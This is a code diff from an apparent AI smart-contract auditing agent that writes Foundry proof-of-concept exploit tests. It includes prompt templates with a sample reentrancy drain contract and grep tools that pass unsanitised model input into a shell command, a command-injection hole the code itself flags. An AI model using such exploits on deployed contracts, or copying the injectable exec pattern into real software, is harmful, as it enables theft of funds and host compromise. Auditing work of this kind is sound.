- If an external dependency cannot be imported, declare a minimal interface for it in the same file.
|
| 213 |
-
- If the target contract requires specific parameters, interfaces, or structs in its constructor or setup, **USE YOUR TOOLS (searchCodebase, readFile)** to find where those are defined in the project, and add the correct \`import\` statements. DO NOT GUESS import paths.
|
| 214 |
-
- Keep the \`test_Exploit()\` function empty with exactly: \`// INJECT_HACK\`
|
| 215 |
-
- The \`setUp()\` function MUST instantiate the target and end with: \`require(address(target) != address(0), "Target must be deployed");\`
|
| 216 |
-
- Return the full corrected Solidity file in a \`\`\`solidity\`\`\` block.
|
| 217 |
-
`.trim();
|
| 218 |
-
|
| 219 |
-
export const EXPLOIT_INJECTION_PROMPT = `You are an expert Smart Contract Security Auditor.
|
| 220 |
-
We have already prepared a perfectly compiling Foundry test environment (the Template) that deploys the contract.
|
| 221 |
-
|
| 222 |
-
|
| 223 |
-
## The Environment (DO NOT MODIFY OR RE-DECLARE)
|
| 224 |
-
\`\`\`solidity
|
| 225 |
-
{TEMPLATE_CODE}
|
| 226 |
-
\`\`\`
|
| 227 |
-
|
| 228 |
-
## Rules
|
| 229 |
-
1. You MUST output the ENTIRE Solidity file, from the SPDX license to the end of the contract.
|
| 230 |
-
2. You MUST keep the \`setUp()\` function exactly as it is in the Template (including the target deployment and \`require\` checks).
|
| 231 |
-
3. If you need external structs or interfaces (e.g. for function parameters), you MUST **USE YOUR TOOLS (searchCodebase, readFile)** to find their exact file paths and add \`import\` statements at the top. DO NOT GUESS import paths! Alternatively, you can use low-level \`.call(abi.encodeWithSignature(...))\` to bypass struct definitions entirely.
|
| 232 |
-
4. Write your PoC logic INSIDE \`function test_Exploit() { ... }\`. Use the variables already declared in the Template.
|
| 233 |
-
5. The PoC MUST conclude with a strict Foundry assertion (assertEq, assertGt, etc.) that proves the vulnerability exists.
|
| 234 |
-
6. NEVER redefine the target contract inside the test file or use \`try/catch\`.
|
| 235 |
-
7. STRICT RULE: DO NOT WRITE ANY COMMENTS (like // or /*) ANYWHERE in the code. Writing explanatory or placeholder comments is strictly forbidden and will be rejected!
|
| 236 |
-
8. CHAIN OF THOUGHT: Before writing the code, you MUST write your step-by-step reasoning inside \`<thinking>...\</thinking>\` tags. Think about how to trigger the vulnerability without using Mocks and without writing comments.
|
| 237 |
-
9. Output ONLY your full test file enclosed in a \`\`\`solidity ... \`\`\` block immediately after the thinking tags.
|
| 238 |
-
|
| 239 |
-
## Few-Shot Example (Perfect Exploit Formatting)
|
| 240 |
-
<thinking>
|
| 241 |
-
I need to exploit a reentrancy. I cannot use comments. I will create a MaliciousReceiver contract inside the same file but OUTSIDE the ExploitTest contract. I will not use Mock contracts.
|
| 242 |
-
</thinking>
|
| 243 |
-
\`\`\`solidity
|
| 244 |
-
// SPDX-License-Identifier: UNLICENSED
|
| 245 |
-
pragma solidity ^0.8.0;
|
| 246 |
-
|
| 247 |
-
import "forge-std/Test.sol";
|
| 248 |
-
import "../src/Target.sol";
|
| 249 |
-
|
| 250 |
-
contract MaliciousReceiver {
|
| 251 |
-
Target target;
|
| 252 |
-
constructor(Target _target) { target = _target; }
|
| 253 |
-
receive() external payable {
|
| 254 |
-
if (address(target).balance > 0) {
|
| 255 |
-
target.withdraw(1 ether);
|
| 256 |
-
}
|
| 257 |
-
}
|
| 258 |
-
}
|
| 259 |
-
|
| 260 |
-
contract ExploitTest is Test {
|
| 261 |
-
Target target;
|
| 262 |
-
address constant ATTACKER = address(0xBEEF);
|
| 263 |
-
|
| 264 |
-
function setUp() public {
|
| 265 |
-
target = new Target();
|
| 266 |
-
vm.deal(ATTACKER, 100 ether);
|
| 267 |
-
require(address(target) != address(0), "Target must be deployed");
|
| 268 |
-
}
|
| 269 |
-
|
| 270 |
-
function test_Exploit() public {
|
| 271 |
-
vm.startPrank(ATTACKER);
|
| 272 |
-
MaliciousReceiver receiver = new MaliciousReceiver(target);
|
| 273 |
-
target.deposit{value: 1 ether}();
|
| 274 |
-
target.withdraw(1 ether);
|
| 275 |
-
vm.stopPrank();
|
| 276 |
-
assertGt(ATTACKER.balance, 100 ether);
|
| 277 |
-
}
|
| 278 |
-
}
|
| 279 |
-
\`\`\`
|
| 280 |
-
`.trim();
|
| 281 |
-
|
| 282 |
-
export const EXPLOIT_FIX_PROMPT = `The injected PoC FAILED during execution or validation.
|
| 283 |
-
|
| 284 |
-
## Execution Error / Logs:
|
| 285 |
-
{ERROR_DETAILS}
|
| 286 |
-
|
| 287 |
-
## Previous PoC Body:
|
| 288 |
-
\`\`\`solidity
|
| 289 |
-
{EXPLOIT_BODY}
|
| 290 |
-
\`\`\`
|
| 291 |
-
|
| 292 |
-
## Rules
|
| 293 |
-
- Analyze the execution failure and rewrite the full PoC file.
|
| 294 |
-
- If you had "Identifier not found" or "Source not found" errors, **USE YOUR TOOLS (searchCodebase, readFile)** to find the exact file and add the correct new imports, or use low-level calls. DO NOT GUESS import paths!
|
| 295 |
-
- CHAIN OF THOUGHT: Write your reasoning inside \`<thinking>...\</thinking>\` tags BEFORE the code.
|
| 296 |
-
- Output the FULL Solidity file enclosed in a \`\`\`solidity\`\`\` block.
|
| 297 |
-
`.trim();
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
src/agents/tester/state.ts
CHANGED
|
@@ -1,4 +1,5 @@
|
|
| 1 |
import { Annotation } from "@langchain/langgraph";
|
|
|
|
| 2 |
import { VulnerabilityReport, OracleContext } from "./types.js";
|
| 3 |
|
| 4 |
export const PoCStateAnnotation = Annotation.Root({
|
|
@@ -24,6 +25,11 @@ export const PoCStateAnnotation = Annotation.Root({
|
|
| 24 |
reducer: (_, y) => y, // overwrite — only the hack logic
|
| 25 |
}),
|
| 26 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 27 |
infrastructurePhase: Annotation<boolean>({
|
| 28 |
default: () => true,
|
| 29 |
reducer: (_, y) => y, // overwrite — true while fixing imports
|
|
@@ -39,6 +45,21 @@ export const PoCStateAnnotation = Annotation.Root({
|
|
| 39 |
reducer: (x, y) => x.concat(y), // append — never lose previous logs
|
| 40 |
}),
|
| 41 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 42 |
lastError: Annotation<string | null>({
|
| 43 |
default: () => null,
|
| 44 |
reducer: (_, y) => y, // overwrite — last error analysis
|
|
|
|
| 1 |
import { Annotation } from "@langchain/langgraph";
|
| 2 |
+
import { BaseMessage } from "@langchain/core/messages";
|
| 3 |
import { VulnerabilityReport, OracleContext } from "./types.js";
|
| 4 |
|
| 5 |
export const PoCStateAnnotation = Annotation.Root({
|
|
|
|
| 25 |
reducer: (_, y) => y, // overwrite — only the hack logic
|
| 26 |
}),
|
| 27 |
|
| 28 |
+
vulnerabilityCategory: Annotation<string>({
|
| 29 |
+
default: () => "",
|
| 30 |
+
reducer: (_, y) => y, // overwrite
|
| 31 |
+
}),
|
| 32 |
+
|
| 33 |
infrastructurePhase: Annotation<boolean>({
|
| 34 |
default: () => true,
|
| 35 |
reducer: (_, y) => y, // overwrite — true while fixing imports
|
|
|
|
| 45 |
reducer: (x, y) => x.concat(y), // append — never lose previous logs
|
| 46 |
}),
|
| 47 |
|
| 48 |
+
messages: Annotation<BaseMessage[]>({
|
| 49 |
+
default: () => [],
|
| 50 |
+
reducer: (x, y) => x.concat(y),
|
| 51 |
+
}),
|
| 52 |
+
|
| 53 |
+
toolCallCount: Annotation<number>({
|
| 54 |
+
default: () => 0,
|
| 55 |
+
reducer: (x, y) => x + y,
|
| 56 |
+
}),
|
| 57 |
+
|
| 58 |
+
totalCost: Annotation<number>({
|
| 59 |
+
default: () => 0,
|
| 60 |
+
reducer: (x, y) => x + y,
|
| 61 |
+
}),
|
| 62 |
+
|
| 63 |
lastError: Annotation<string | null>({
|
| 64 |
default: () => null,
|
| 65 |
reducer: (_, y) => y, // overwrite — last error analysis
|
src/agents/tester/tools.ts
ADDED
|
@@ -0,0 +1,252 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import { tool } from "@langchain/core/tools";
|
| 2 |
+
import { z } from "zod";
|
| 3 |
+
import fs from "fs/promises";
|
| 4 |
+
import path from "path";
|
| 5 |
+
import { exec } from "child_process";
|
| 6 |
+
import { promisify } from "util";
|
| 7 |
+
|
| 8 |
+
const execAsync = promisify(exec);
|
| 9 |
+
|
| 10 |
+
// ---------------------------------------------------------------------------
|
| 11 |
+
// Exploration Tools (Basic Tools)
|
| 12 |
+
// ---------------------------------------------------------------------------
|
| 13 |
+
|
| 14 |
+
export const readFileTool = tool(
|
| 15 |
+
async ({ filePath }, config) => {
|
| 16 |
+
try {
|
| 17 |
+
// The sandboxDir is passed in via the config.configurable object
|
| 18 |
+
const sandboxDir = config?.configurable?.sandboxDir || process.cwd();
|
| 19 |
+
const absolutePath = path.resolve(sandboxDir, filePath);
|
| 20 |
+
|
| 21 |
+
// Prevent directory traversal outside sandbox
|
| 22 |
+
if (!absolutePath.startsWith(path.resolve(sandboxDir))) {
|
| 23 |
+
return "Error: Access denied. Cannot read files outside the project sandbox.";
|
| 24 |
+
}
|
| 25 |
+
|
| 26 |
+
const content = await fs.readFile(absolutePath, "utf-8");
|
| 27 |
+
return content;
|
| 28 |
+
} catch (e: any) {
|
| 29 |
+
return `Error reading file: ${e.message}`;
|
| 30 |
+
}
|
| 31 |
+
},
|
| 32 |
+
{
|
| 33 |
+
name: "read_file",
|
| 34 |
+
description: "Reads the contents of a specific file in the project.",
|
| 35 |
+
schema: z.object({
|
| 36 |
+
filePath: z.string().describe("The relative path to the file to read (e.g. 'src/Vault.sol')"),
|
| 37 |
+
}),
|
| 38 |
+
}
|
| 39 |
+
);
|
| 40 |
+
|
| 41 |
+
export const listDirTool = tool(
|
| 42 |
+
async ({ dirPath }, config) => {
|
| 43 |
+
try {
|
| 44 |
+
const sandboxDir = config?.configurable?.sandboxDir || process.cwd();
|
| 45 |
+
const absolutePath = path.resolve(sandboxDir, dirPath || ".");
|
| 46 |
+
|
| 47 |
+
if (!absolutePath.startsWith(path.resolve(sandboxDir))) {
|
| 48 |
+
return "Error: Access denied. Cannot list directories outside the project sandbox.";
|
| 49 |
+
}
|
| 50 |
+
|
| 51 |
+
const files = await fs.readdir(absolutePath, { withFileTypes: true });
|
| 52 |
+
return files.map(f => `${f.isDirectory() ? '[DIR]' : '[FILE]'} ${f.name}`).join("\n");
|
| 53 |
+
} catch (e: any) {
|
| 54 |
+
return `Error listing directory: ${e.message}`;
|
| 55 |
+
}
|
| 56 |
+
},
|
| 57 |
+
{
|
| 58 |
+
name: "list_dir",
|
| 59 |
+
description: "Lists files and directories in a given path to understand project structure.",
|
| 60 |
+
schema: z.object({
|
| 61 |
+
dirPath: z.string().optional().describe("The relative path to the directory (e.g. 'src' or 'test/mocks'). Defaults to root."),
|
| 62 |
+
}),
|
| 63 |
+
}
|
| 64 |
+
);
|
| 65 |
+
|
| 66 |
+
export const grepSearchTool = tool(
|
| 67 |
+
async ({ query, dirPath }, config) => {
|
| 68 |
+
try {
|
| 69 |
+
const sandboxDir = config?.configurable?.sandboxDir || process.cwd();
|
| 70 |
+
const targetDir = path.resolve(sandboxDir, dirPath || ".");
|
| 71 |
+
|
| 72 |
+
// Use grep -rnw to search recursively
|
| 73 |
+
// Note: In a real production system, use a safe regex/grep library or escape properly.
|
| 74 |
+
const cmd = `grep -rn "${query.replace(/"/g, '\\"')}" ${targetDir} | head -n 50`;
|
| 75 |
+
|
| 76 |
+
const { stdout } = await execAsync(cmd);
|
| 77 |
+
return stdout || "No matches found.";
|
| 78 |
+
} catch (e: any) {
|
| 79 |
+
// grep returns exit code 1 if no matches are found
|
| 80 |
+
if (e.code === 1) return "No matches found.";
|
| 81 |
+
return `Error executing search: ${e.message}`;
|
| 82 |
+
}
|
| 83 |
+
},
|
| 84 |
+
{
|
| 85 |
+
name: "grep_search",
|
| 86 |
+
description: "Searches the codebase recursively for specific symbols, variable names, or interfaces.",
|
| 87 |
+
schema: z.object({
|
| 88 |
+
query: z.string().describe("The text or symbol to search for (e.g. 'interface IERC20' or 'withdraw(')"),
|
| 89 |
+
dirPath: z.string().optional().describe("The relative directory to search in (e.g. 'src'). Defaults to root."),
|
| 90 |
+
}),
|
| 91 |
+
}
|
| 92 |
+
);
|
| 93 |
+
|
| 94 |
+
// ---------------------------------------------------------------------------
|
| 95 |
+
// Modification Tools (File Editing)
|
| 96 |
+
// ---------------------------------------------------------------------------
|
| 97 |
+
|
| 98 |
+
export const writeFileTool = tool(
|
| 99 |
+
async ({ filePath, content }, config) => {
|
| 100 |
+
try {
|
| 101 |
+
const sandboxDir = config?.configurable?.sandboxDir || process.cwd();
|
| 102 |
+
const absolutePath = path.resolve(sandboxDir, filePath);
|
| 103 |
+
|
| 104 |
+
if (!absolutePath.startsWith(path.resolve(sandboxDir))) {
|
| 105 |
+
return "Error: Access denied. Cannot write files outside the project sandbox.";
|
| 106 |
+
}
|
| 107 |
+
|
| 108 |
+
// Ensure directory exists
|
| 109 |
+
await fs.mkdir(path.dirname(absolutePath), { recursive: true });
|
| 110 |
+
await fs.writeFile(absolutePath, content, "utf-8");
|
| 111 |
+
|
| 112 |
+
return `Successfully wrote to ${filePath}`;
|
| 113 |
+
} catch (e: any) {
|
| 114 |
+
return `Error writing file: ${e.message}`;
|
| 115 |
+
}
|
| 116 |
+
},
|
| 117 |
+
{
|
| 118 |
+
name: "write_file",
|
| 119 |
+
description: "Writes or overwrites a file with the provided content. Primarily used to write 'test/Exploit.t.sol'.",
|
| 120 |
+
schema: z.object({
|
| 121 |
+
filePath: z.string().describe("The relative path to write to (e.g. 'test/Exploit.t.sol')"),
|
| 122 |
+
content: z.string().describe("The full content of the file to write."),
|
| 123 |
+
}),
|
| 124 |
+
}
|
| 125 |
+
);
|
| 126 |
+
|
| 127 |
+
// ---------------------------------------------------------------------------
|
| 128 |
+
// Smart Contract Tools (Execution Feedback)
|
| 129 |
+
// ---------------------------------------------------------------------------
|
| 130 |
+
|
| 131 |
+
export const smartContractCompileTool = tool(
|
| 132 |
+
async (_, config) => {
|
| 133 |
+
try {
|
| 134 |
+
const sandboxDir = config?.configurable?.sandboxDir || process.cwd();
|
| 135 |
+
|
| 136 |
+
const { stdout, stderr } = await execAsync(
|
| 137 |
+
"forge build",
|
| 138 |
+
{
|
| 139 |
+
cwd: sandboxDir,
|
| 140 |
+
timeout: 30000,
|
| 141 |
+
env: { ...process.env, PATH: `${process.env.HOME}/.foundry/bin:${process.env.PATH}` }
|
| 142 |
+
}
|
| 143 |
+
);
|
| 144 |
+
|
| 145 |
+
const out = stdout ? String(stdout).slice(-15000) : "";
|
| 146 |
+
const errOut = stderr ? String(stderr).slice(-15000) : "";
|
| 147 |
+
return `Compilation Successful:\nSTDOUT:\n${out}\nSTDERR:\n${errOut}`;
|
| 148 |
+
} catch (err: any) {
|
| 149 |
+
if (err.killed || err.signal === "SIGTERM") {
|
| 150 |
+
return "Error: Compilation timed out after 30s.";
|
| 151 |
+
}
|
| 152 |
+
const out = err.stdout ? String(err.stdout).slice(-15000) : "";
|
| 153 |
+
const errOut = err.stderr ? String(err.stderr).slice(-15000) : "";
|
| 154 |
+
return `Compilation Failed:\nSTDOUT:\n${out}\nSTDERR:\n${errOut}`;
|
| 155 |
+
}
|
| 156 |
+
},
|
| 157 |
+
{
|
| 158 |
+
name: "smart_contract_compile",
|
| 159 |
+
description: "Runs 'forge build' to compile the smart contracts and tests. Returns stdout and stderr. Use this to check for syntax errors before testing.",
|
| 160 |
+
schema: z.object({}),
|
| 161 |
+
}
|
| 162 |
+
);
|
| 163 |
+
|
| 164 |
+
export const smartContractTestTool = tool(
|
| 165 |
+
async ({ testMatch }, config) => {
|
| 166 |
+
try {
|
| 167 |
+
const sandboxDir = config?.configurable?.sandboxDir || process.cwd();
|
| 168 |
+
const matchArg = testMatch ? `--match-contract ${testMatch}` : "";
|
| 169 |
+
|
| 170 |
+
const { stdout, stderr } = await execAsync(
|
| 171 |
+
`forge test ${matchArg} -vvvv`,
|
| 172 |
+
{
|
| 173 |
+
cwd: sandboxDir,
|
| 174 |
+
timeout: 60000,
|
| 175 |
+
env: { ...process.env, PATH: `${process.env.HOME}/.foundry/bin:${process.env.PATH}` }
|
| 176 |
+
}
|
| 177 |
+
);
|
| 178 |
+
|
| 179 |
+
const out = stdout ? String(stdout).slice(-15000) : "";
|
| 180 |
+
const errOut = stderr ? String(stderr).slice(-15000) : "";
|
| 181 |
+
return `Test Passed Successfully!\nSTDOUT:\n${out}\nSTDERR:\n${errOut}`;
|
| 182 |
+
} catch (err: any) {
|
| 183 |
+
if (err.killed || err.signal === "SIGTERM") {
|
| 184 |
+
return "Error: Test execution timed out after 60s.";
|
| 185 |
+
}
|
| 186 |
+
const out = err.stdout ? String(err.stdout).slice(-15000) : "";
|
| 187 |
+
const errOut = err.stderr ? String(err.stderr).slice(-15000) : "";
|
| 188 |
+
return `Test Failed:\nSTDOUT:\n${out}\nSTDERR:\n${errOut}`;
|
| 189 |
+
}
|
| 190 |
+
},
|
| 191 |
+
{
|
| 192 |
+
name: "smart_contract_test",
|
| 193 |
+
description: "Runs 'forge test -vvvv' to execute the PoC exploit. Returns the execution traces and assertions. Crucial for verifying if the exploit works or why it reverted.",
|
| 194 |
+
schema: z.object({
|
| 195 |
+
testMatch: z.string().optional().describe("Optional test contract name to match (e.g. 'ExploitTest')"),
|
| 196 |
+
}),
|
| 197 |
+
}
|
| 198 |
+
);
|
| 199 |
+
|
| 200 |
+
// ---------------------------------------------------------------------------
|
| 201 |
+
// Planning Tool
|
| 202 |
+
// ---------------------------------------------------------------------------
|
| 203 |
+
|
| 204 |
+
export const todoPlannerTool = tool(
|
| 205 |
+
async ({ action, task }, config) => {
|
| 206 |
+
try {
|
| 207 |
+
const sandboxDir = config?.configurable?.sandboxDir || process.cwd();
|
| 208 |
+
const todoPath = path.resolve(sandboxDir, "todo_plan.txt");
|
| 209 |
+
|
| 210 |
+
if (action === "read") {
|
| 211 |
+
try {
|
| 212 |
+
return await fs.readFile(todoPath, "utf-8");
|
| 213 |
+
} catch {
|
| 214 |
+
return "No tasks found. Todo list is empty.";
|
| 215 |
+
}
|
| 216 |
+
}
|
| 217 |
+
|
| 218 |
+
if (action === "add" && task) {
|
| 219 |
+
await fs.appendFile(todoPath, `- [ ] ${task}\n`);
|
| 220 |
+
return `Added task: ${task}`;
|
| 221 |
+
}
|
| 222 |
+
|
| 223 |
+
if (action === "update" && task) {
|
| 224 |
+
// Overwrite with the full new state provided by the LLM
|
| 225 |
+
await fs.writeFile(todoPath, task);
|
| 226 |
+
return "Todo list updated.";
|
| 227 |
+
}
|
| 228 |
+
|
| 229 |
+
return "Invalid action.";
|
| 230 |
+
} catch (e: any) {
|
| 231 |
+
return `Error with planner: ${e.message}`;
|
| 232 |
+
}
|
| 233 |
+
},
|
| 234 |
+
{
|
| 235 |
+
name: "todo_planner",
|
| 236 |
+
description: "A lightweight planning utility to organize tasks. Actions: 'read' to view tasks, 'add' to append a task, 'update' to overwrite the whole list with new state.",
|
| 237 |
+
schema: z.object({
|
| 238 |
+
action: z.enum(["read", "add", "update"]).describe("The action to perform."),
|
| 239 |
+
task: z.string().optional().describe("The task text to add, or the full new list to update."),
|
| 240 |
+
}),
|
| 241 |
+
}
|
| 242 |
+
);
|
| 243 |
+
|
| 244 |
+
export const pocoTools = [
|
| 245 |
+
readFileTool,
|
| 246 |
+
listDirTool,
|
| 247 |
+
grepSearchTool,
|
| 248 |
+
writeFileTool,
|
| 249 |
+
smartContractCompileTool,
|
| 250 |
+
smartContractTestTool,
|
| 251 |
+
todoPlannerTool
|
| 252 |
+
];
|
src/agents/tester/tools/codebaseTools.ts
DELETED
|
@@ -1,65 +0,0 @@
|
|
| 1 |
-
import { tool } from "@langchain/core/tools";
|
| 2 |
-
import { z } from "zod";
|
| 3 |
-
import { exec } from "child_process";
|
| 4 |
-
import { promisify } from "util";
|
| 5 |
-
import fs from "fs/promises";
|
| 6 |
-
import path from "path";
|
| 7 |
-
|
| 8 |
-
const execAsync = promisify(exec);
|
| 9 |
-
|
| 10 |
-
export const createSearchCodebaseTool = (sandboxDir: string) => {
|
| 11 |
-
return tool(
|
| 12 |
-
async ({ query }) => {
|
| 13 |
-
try {
|
| 14 |
-
// Find .sol files containing the query in the sandboxDir
|
| 15 |
-
const { stdout } = await execAsync(`grep -rn --include="*.sol" "${query}" .`, { cwd: sandboxDir });
|
| 16 |
-
const lines = stdout.split("\n").filter(l => l.trim() !== "");
|
| 17 |
-
if (lines.length === 0) return "No results found.";
|
| 18 |
-
|
| 19 |
-
const preview = lines.slice(0, 30);
|
| 20 |
-
const truncatedMsg = lines.length > 30 ? `\n...and ${lines.length - 30} more results.` : "";
|
| 21 |
-
return `Found ${lines.length} results. Showing first 30:\n${preview.join("\n")}${truncatedMsg}`;
|
| 22 |
-
} catch (e: any) {
|
| 23 |
-
if (e.code === 1) return "No results found."; // grep exit code 1 means no match
|
| 24 |
-
return `Error searching codebase: ${e.message}`;
|
| 25 |
-
}
|
| 26 |
-
},
|
| 27 |
-
{
|
| 28 |
-
name: "searchCodebase",
|
| 29 |
-
description: "Searches the codebase for a specific string (like a struct, contract name, or interface) and returns the file paths and matching lines.",
|
| 30 |
-
schema: z.object({
|
| 31 |
-
query: z.string().describe("The exact string to search for. Keep it simple, e.g. 'LiquidateWithReplacementParams' or 'SizeFactory'"),
|
| 32 |
-
}),
|
| 33 |
-
}
|
| 34 |
-
);
|
| 35 |
-
};
|
| 36 |
-
|
| 37 |
-
export const createReadFileTool = (sandboxDir: string) => {
|
| 38 |
-
return tool(
|
| 39 |
-
async ({ filePath }) => {
|
| 40 |
-
try {
|
| 41 |
-
const fullPath = path.resolve(sandboxDir, filePath);
|
| 42 |
-
// Security check to avoid path traversal
|
| 43 |
-
if (!fullPath.startsWith(path.resolve(sandboxDir))) {
|
| 44 |
-
return "Error: Cannot read files outside the sandbox directory.";
|
| 45 |
-
}
|
| 46 |
-
const content = await fs.readFile(fullPath, "utf-8");
|
| 47 |
-
|
| 48 |
-
// Truncate if extremely large to save context window, though Solidity files are usually small enough
|
| 49 |
-
if (content.length > 20000) {
|
| 50 |
-
return content.slice(0, 20000) + "\n\n... [TRUNCATED] File too large.";
|
| 51 |
-
}
|
| 52 |
-
return content;
|
| 53 |
-
} catch (e: any) {
|
| 54 |
-
return `Error reading file: ${e.message}`;
|
| 55 |
-
}
|
| 56 |
-
},
|
| 57 |
-
{
|
| 58 |
-
name: "readFile",
|
| 59 |
-
description: "Reads the content of a specific file. Pass the relative file path returned by searchCodebase.",
|
| 60 |
-
schema: z.object({
|
| 61 |
-
filePath: z.string().describe("The relative path of the file to read (e.g. 'src/Size.sol')"),
|
| 62 |
-
}),
|
| 63 |
-
}
|
| 64 |
-
);
|
| 65 |
-
};
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
